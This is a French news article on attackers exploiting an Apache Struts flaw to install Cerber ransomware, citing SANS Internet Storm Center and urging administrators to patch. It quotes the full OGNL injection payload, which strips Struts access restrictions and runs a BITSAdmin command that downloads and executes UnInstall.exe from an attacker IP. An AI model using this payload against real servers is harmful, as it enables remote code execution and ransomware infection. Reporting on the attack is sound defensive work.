Rappelons qu'Apache Struts est un framework libre servant au développement d'applications Web Java EE. Il utilise et étend l'API Servlet Java dans l'optique d'encourager les développeurs à adopter l'architecture Modèle-Vue-Contrôleur (MVC). Quant au ransomware Cerber, il est apparu en 2016 et est considéré comme un virus informatique malveillant qui se sert de l'algorithme de chiffrement AES (Advanced Encryption Standard) pour chiffrer les fichiers des victimes.
D'après les informations fournies par le SANS Internet Storm Center, le script utilisé par les attaquants pour commettre leur forfait se présente comme suit :
Code java : | Sélectionner tout |
1 2 | %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='BITSAdmin.exe /Transfer JOB hxxp://82[.]165[.]129[.]119/UnInstall.exe %TEMP%/UnInstall.exe & %TEMP%/UnInstall.exe').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} |
À en croire les chercheurs en sécurité, le script se sert de l'outil de ligne de commande BITSAdmin pour télécharger le logiciel malveillant qui apparaît sous le nom uninstall.exe. Une fois téléchargé, ce dernier est automatiquement logé dans le répertoire %TEMP%. À la suite de cette étape, uninstall.exe est automatiquement exécuté et installé, cela à l'insu de l'utilisateur.
Les attaquants, une fois leur forfait accompli, vont demander une rançon. « Le logiciel malveillant se connecte à btc.blockr.io pour récupérer une liste de portefeuilles Bitcoin afin de procéder à des transferts d'argent. Les fichiers cryptés seront aléatoirement renommés et auront comme extension .cerber », a déclaré le SANS Internet Storm Center.
Par mesure de sécurité, les administrateurs qui n'ont pas encore fait la mise à jour de leur framework Apache Struts sont invités à le faire dans les plus brefs délais.
Source : SANS Internet Storm Center
Et vous ?
Que pensez-vous de cette vulnérabilité ?
Avez-vous déjà mis à jour votre version d'Apache Struts ?